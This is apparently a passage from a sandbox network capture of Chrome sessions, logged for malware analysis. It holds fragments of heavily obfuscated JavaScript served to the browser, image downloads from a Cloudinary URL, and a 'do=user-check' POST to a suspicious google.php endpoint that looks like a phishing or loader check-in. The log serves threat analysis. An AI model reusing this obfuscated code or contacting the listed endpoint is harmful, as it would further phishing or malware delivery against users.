6)+_0x27ef6c(0x202)+_0x27ef6c(0x176))+(_0x27ef6c(0xd08)+_0x27ef6c(0x1d25)+_0x27ef6c(0x4d9)+_0x27ef6c(0x1c00)+_0x27ef6c(0x1e9)+_0x27ef6c(0x2353)+_0x27ef6c(0x11c7)+_0x27ef6c(0x20aa)+_0x27ef6c(0x152b)+_0x27ef6c(0xd08)+_0x27ef6c(0x4ef)+_0x27ef6c(0x6b7)+_0x27e
2025-03-27 17:50:54 UTC	8184	IN	Data Raw: 32 37 65 66 36 63 28 30 78 31 38 64 66 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 38 66 35 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 30 36 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 35 38 36 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 62 61 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 61 62 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 36 37 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 38 62 62 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 61 34 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 64 62 36 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 36 38 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 38 32 30 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 35 36 64 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 30 33 35 29 2b 5f 30 78 32 37 65 66 36 63 28 Data Ascii: 27ef6c(0x18df)+_0x27ef6c(0x28f5)+_0x27ef6c(0x1069)+_0x27ef6c(0x1586)+_0x27ef6c(0x1ba)+_0x27ef6c(0x2ab7)+_0x27ef6c(0x677)+_0x27ef6c(0x28bb)+_0x27ef6c(0xa49)+_0x27ef6c(0x1db6)+_0x27ef6c(0x2687)+_0x27ef6c(0x2820)+_0x27ef6c(0x56d)+_0x27ef6c(0x2035)+_0x27ef6c(
2025-03-27 17:50:54 UTC	8184	IN	Data Raw: 66 36 63 28 30 78 32 39 32 62 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 62 39 31 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 38 34 34 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 37 30 66 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 61 30 63 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 66 35 32 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 34 64 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 62 61 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 30 63 65 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 34 66 65 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 65 33 31 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 62 31 63 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 66 37 30 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 31 32 36 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 Data Ascii: f6c(0x292b)+_0x27ef6c(0xb91)+_0x27ef6c(0x1844)+_0x27ef6c(0x270f)+_0x27ef6c(0x2a0c)+_0x27ef6c(0xf52)+_0x27ef6c(0x14d7)+_0x27ef6c(0x1ba)+_0x27ef6c(0x10ce)+_0x27ef6c(0x4fe)+_0x27ef6c(0x1e31)+_0x27ef6c(0x1b1c)+_0x27ef6c(0x1f70)+_0x27ef6c(0x1126)+_0x27ef6c(0x2
2025-03-27 17:50:54 UTC	8184	IN	Data Raw: 37 65 66 36 63 28 30 78 62 31 31 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 39 36 65 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 38 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 32 61 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 61 30 34 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 61 63 64 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 37 32 33 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 66 64 34 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 62 31 66 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 65 65 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 62 36 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 64 32 36 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 33 35 33 29 29 2b 28 5f 30 78 32 37 65 66 36 63 28 30 78 33 62 33 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 Data Ascii: 7ef6c(0xb11)+_0x27ef6c(0x196e)+_0x27ef6c(0x87)+_0x27ef6c(0x22a9)+_0x27ef6c(0x2a04)+_0x27ef6c(0x2acd)+_0x27ef6c(0x723)+_0x27ef6c(0xfd4)+_0x27ef6c(0x1b1f)+_0x27ef6c(0x1ee7)+_0x27ef6c(0x1b69)+_0x27ef6c(0x1d26)+_0x27ef6c(0x353))+(_0x27ef6c(0x3b3)+_0x27ef6c(0x
2025-03-27 17:50:54 UTC	8184	IN	Data Raw: 63 28 30 78 31 39 66 61 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 64 34 63 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 33 36 38 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 38 66 36 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 37 36 36 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 35 37 66 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 34 64 64 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 33 34 66 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 35 61 64 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 34 30 66 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 34 36 34 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 38 61 31 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 36 33 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 34 62 31 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 36 30 Data Ascii: c(0x19fa)+_0x27ef6c(0xd4c)+_0x27ef6c(0x1368)+_0x27ef6c(0x18f6)+_0x27ef6c(0x2766)+_0x27ef6c(0x57f)+_0x27ef6c(0x24dd)+_0x27ef6c(0x134f)+_0x27ef6c(0x25ad)+_0x27ef6c(0x240f)+_0x27ef6c(0x1464)+_0x27ef6c(0x28a1)+_0x27ef6c(0x639)+_0x27ef6c(0x4b1)+_0x27ef6c(0x260
2025-03-27 17:50:54 UTC	8184	IN	Data Raw: 78 32 37 65 66 36 63 28 30 78 31 34 65 31 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 35 30 64 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 34 30 62 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 35 62 61 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 38 35 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 36 65 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 64 61 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 33 30 38 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 33 34 32 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 36 37 31 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 35 39 33 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 63 32 61 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 66 35 64 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 38 39 29 2b 5f 30 78 32 37 65 66 36 63 Data Ascii: x27ef6c(0x14e1)+_0x27ef6c(0x150d)+_0x27ef6c(0x240b)+_0x27ef6c(0x25ba)+_0x27ef6c(0x2859)+_0x27ef6c(0x26e)+_0x27ef6c(0xda7)+_0x27ef6c(0x2308)+_0x27ef6c(0x2342)+_0x27ef6c(0x2671)+_0x27ef6c(0x1593)+_0x27ef6c(0x1c2a)+_0x27ef6c(0xf5d)+_0x27ef6c(0x189)+_0x27ef6c
2025-03-27 17:50:54 UTC	16368	IN	Data Raw: 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 32 30 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 34 36 63 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 39 34 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 38 62 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 33 31 32 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 34 32 63 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 38 62 65 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 37 66 31 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 32 39 31 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 64 32 65 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 38 66 61 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 35 37 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 63 39 32 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 37 66 30 29 2b 5f 30 78 32 37 Data Ascii: +_0x27ef6c(0x1207)+_0x27ef6c(0x246c)+_0x27ef6c(0x2949)+_0x27ef6c(0x8b7)+_0x27ef6c(0x2312)+_0x27ef6c(0x142c)+_0x27ef6c(0x28be)+_0x27ef6c(0x17f1)+_0x27ef6c(0x1291)+_0x27ef6c(0x1d2e)+_0x27ef6c(0x8fa)+_0x27ef6c(0x1579)+_0x27ef6c(0x1c92)+_0x27ef6c(0x7f0)+_0x27

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49740	104.17.202.1	443	3172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-27 17:50:56 UTC	665	OUT	GET /dxetjqzbe/image/upload/v1742052868/6059C6BA-9C9F-4199-8218-8895A9F0C3C8_ctielh.png HTTP/1.1 Host: res.cloudinary.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 17:50:56 UTC	830	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 17:50:56 GMT Content-Type: image/png Content-Length: 21873 Connection: close CF-Ray: 9270bba10c4cd96d-EWR Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: public, no-transform, immutable, max-age=2592000 ETag: "568f3323a159c49c955a6e9e5ce8ac4d" Last-Modified: Sat, 15 Mar 2025 15:34:29 GMT Strict-Transport-Security: max-age=604800 Vary: Accept-Encoding access-control-expose-headers: Content-Length,ETag,Server-Timing,Vary,x-content-type-options server-timing: cld-cloudflare;dur=15;start=2025-03-27T17:50:56.182Z;desc=hit,rtt;dur=93,content-info;desc="width=2016,height=2016,bytes=21873,format="png",o=1,crt=1742052868,ef=(17);" timing-allow-origin: * x-content-type-options: nosniff x-request-id: 66832d6d13078dacf529e15646e9e921 Server: cloudflare
2025-03-27 17:50:56 UTC	539	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 07 e0 00 00 07 e0 08 06 00 00 00 f6 b1 41 ec 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 20 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 30 2d 63 30 36 30 20 36 31 2e 31 33 34 37 37 37 2c 20 32 30 31 30 2f 30 32 2f 31 32 2d 31 37 3a 33 32 3a 30 30 20 20 Data Ascii: PNGIHDRAtEXtSoftwareAdobe ImageReadyqe< iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00
2025-03-27 17:50:56 UTC	1369	IN	Data Raw: 70 20 43 53 35 20 57 69 6e 64 6f 77 73 22 20 78 6d 70 4d 4d 3a 49 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 44 31 30 32 41 31 33 37 34 31 43 45 31 31 45 36 41 33 31 44 44 41 42 30 38 43 33 35 35 30 36 45 22 20 78 6d 70 4d 4d 3a 44 6f 63 75 6d 65 6e 74 49 44 3d 22 78 6d 70 2e 64 69 64 3a 44 31 30 32 41 31 33 38 34 31 43 45 31 31 45 36 41 33 31 44 44 41 42 30 38 43 33 35 35 30 36 45 22 3e 20 3c 78 6d 70 4d 4d 3a 44 65 72 69 76 65 64 46 72 6f 6d 20 73 74 52 65 66 3a 69 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 44 31 30 32 41 31 33 35 34 31 43 45 31 31 45 36 41 33 31 44 44 41 42 30 38 43 33 35 35 30 36 45 22 20 73 74 52 65 66 3a 64 6f 63 75 6d 65 6e 74 49 44 3d 22 78 6d 70 2e 64 69 64 3a 44 31 30 32 41 31 33 36 34 31 43 45 31 31 Data Ascii: p CS5 Windows" xmpMM:InstanceID="xmp.iid:D102A13741CE11E6A31DDAB08C35506E" xmpMM:DocumentID="xmp.did:D102A13841CE11E6A31DDAB08C35506E"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D102A13541CE11E6A31DDAB08C35506E" stRef:documentID="xmp.did:D102A13641CE11
2025-03-27 17:50:56 UTC	1369	IN	Data Raw: d2 64 63 f7 ee f1 e6 97 25 00 00 00 be 96 d5 85 ad b7 4b 80 8f 29 26 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 Data Ascii: dc%K)& @@<x @@<x @@<
2025-03-27 17:50:56 UTC	1369	IN	Data Raw: 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 Data Ascii: <x @@<x @@<x @@<
2025-03-27 17:50:56 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 Data Ascii: <x @@<x @@<x @@
2025-03-27 17:50:56 UTC	1369	IN	Data Raw: 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 c0 2b 3b 77 8c d2 40 00 00 51 34 1b 52 2e 58 a4 11 72 09 0f 92 e3 79 17 3b 0b ab 94 76 62 23 96 16 b1 10 16 6c 0c eb 19 84 bf 60 d8 f7 8e 30 ed 87 01 00 80 80 00 0f 00 00 00 00 00 00 00 Data Ascii: <x @@<x @@<+;w@Q4R.Xry;vb#l`0
2025-03-27 17:50:56 UTC	1369	IN	Data Raw: 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 Data Ascii: @@<x @@<x @@<x
2025-03-27 17:50:56 UTC	1369	IN	Data Raw: 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 Data Ascii: x @@<x @@<x @@<x
2025-03-27 17:50:56 UTC	1369	IN	Data Raw: 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 Data Ascii: <x @@<x @@<x @@<
2025-03-27 17:50:56 UTC	1369	IN	Data Raw: b1 00 00 00 00 c0 20 7f eb 49 ec 2c 8d 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 90 00 ec dc 2f 4e db 71 00 c6 e1 6f ff c8 d6 90 d4 20 10 0b 59 32 c1 25 30 73 d3 38 6e 31 c5 85 96 99 05 2e c0 1d 66 36 3d 07 92 64 84 2c Data Ascii: I,` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` `/Nqo Y2%0s8n1.f6=d,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49741	172.64.80.1	443	3172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-27 17:50:56 UTC	579	OUT	POST /google.php HTTP/1.1 Host: ableg.venue.it.com Connection: keep-alive Content-Length: 13 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 Accept: / Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 17:50:56 UTC	13	OUT	Data Raw: 64 6f 3d 75 73 65 72 2d 63 68 65 63 6b Data Ascii: do=user-check
2025-03-27 17:51:00 UTC	923	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 17:51:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.30 Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bT1EEjfTBSFb%2B2c1CzqBkWmxDGXV5FWJfc4LE7Nu3dWHAHyjWrWPNUOP8c8BEW1Ilw7WAe5mjPwJjH0tlwrqZkbxreylGyFlbk0FpQ8Je4ScACvsFIn2sVeyAgdMBN4dxxoM71o%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9270bba12e237ce7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=90723&min_rtt=89578&rtt_var=20098&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1186&delivery_rate=34122&cwnd=252&unsent_bytes=0&cid=782803356456b7f1&ts=4518&x=0"
2025-03-27 17:51:00 UTC	22	IN	Data Raw: 31 30 0d 0a 7b 22 73 74 61 74 75 73 22 3a 66 61 6c 73 65 7d 0d 0a Data Ascii: 10{"status":false}
2025-03-27 17:51:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49744	104.17.202.1	443	3172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-27 17:50:56 UTC	464	OUT	GET /dxetjqzbe/image/upload/v1742052868/6059C6BA-9C9F-4199-8218-8895A9F0C3C8_ctielh.png HTTP/1.1 Host: res.cloudinary.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 17:50:56 UTC	830	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 17:50:56 GMT Content-Type: image/png Content-Length: 21873 Connection: close CF-Ray: 9270bba47c3bc347-EWR Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: public, no-transform, immutable, max-age=2592000 ETag: "568f3323a159c49c955a6e9e5ce8ac4d" Last-Modified: Sat, 15 Mar 2025 15:34:29 GMT Strict-Transport-Security: max-age=604800 Vary: Accept-Encoding access-control-expose-headers: Content-Length,ETag,Server-Timing,Vary,x-content-type-options server-timing: cld-cloudflare;dur=20;start=2025-03-27T17:50:56.726Z;desc=hit,rtt;dur=91,content-info;desc="width=2016,height=2016,bytes=21873,format="png",o=1,crt=1742052868,ef=(17);" timing-allow-origin: * x-content-type-options: nosniff x-request-id: 66832d6d13078dacf529e15646e9e921 Server: cloudflare
2025-03-27 17:50:56 UTC	539	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 07 e0 00 00 07 e0 08 06 00 00 00 f6 b1 41 ec 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 20 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 30 2d 63 30 36 30 20 36 31 2e 31 33 34 37 37 37 2c 20 32 30 31 30 2f 30 32 2f 31 32 2d 31 37 3a 33 32 3a 30 30 20 20 Data Ascii: 